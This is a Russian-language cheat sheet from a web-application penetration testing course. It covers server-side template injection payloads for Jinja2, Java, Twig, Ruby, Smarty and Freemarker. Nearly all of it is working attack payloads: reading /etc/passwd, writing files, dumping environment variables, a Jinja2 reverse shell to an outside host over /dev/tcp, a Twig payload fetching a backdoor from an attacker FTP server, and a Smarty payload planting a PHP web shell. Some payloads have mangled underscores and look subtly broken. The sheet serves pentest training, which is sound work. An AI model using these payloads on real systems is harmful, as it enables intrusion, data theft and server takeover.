[WAPT]

6.4.1 Cheat sheet SSTI

Определение шаблонизатора

Пейлоад	Шаблонизатор
a{*comment*}b	Smarty
${"z".join("ab")}	Mako
{{7*'7'}}	Результат: 49 Twig Результат: 7777777 Jinja2
<%= 7*7%>	Ruby

Jinja2

Вывод всех классов	{{ [].class.base.subclasses() }} {{".class.mro()[1].subclasses()}} {{ ".__class__.__mro__[2].__subclasses__() }}
Чтение локального файла	{{"._class_._mro_[2]._subclasses_()[40]('/etc/passwd').read() }}
Запись в локальный файл	{{"._class_._mro_[2]._subclasses_()[40]('/var/www/html/hello.txt', 'w').write('Hello codeby !') }}
Удаленное выполнение кода	{{"._class_._mro_[2]._subclasses_()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} {{ config.from_pyfile('/tmp/evilconfig.cfg') }} {{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}

Java

Получение родительского класса	${class.getClassLoader()}
Получение пути к файлу	${class.getResource("").getPath()}
Чтение файла	${class.getResource("../../../../../index.htm").getContent()}
Получение системных переменных	${T(java.lang.System).getenv()}
Удаленное выполнение кода	${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

Twig

Загрузка бекдора на сервер жертвы	{{_self.env.setCache("ftp://[адрес вашего сервера]:2121")}} {{_self.env.loadTemplate("backdoor")}}
Удаленное выполнение кода	{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Ruby

Чтение локального файла	<%= File.open('/etc/passwd').read %>
Просмотр содержимого директории	<%= Dir.entries('/') %>

Smarty

Выполнение команд php	{php}echo `id`;{/php}
Удаленное выполнение кода	{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']);

	?>",self::clearConfig())}

Freemarker

Удаленное чтение кода: *"freemarker.template.utility.Execute"?new()>${ex("id")}*

Служба Поддержки

8 800 444 1750

с 8:00 до 20:00МСК

school@codeby.net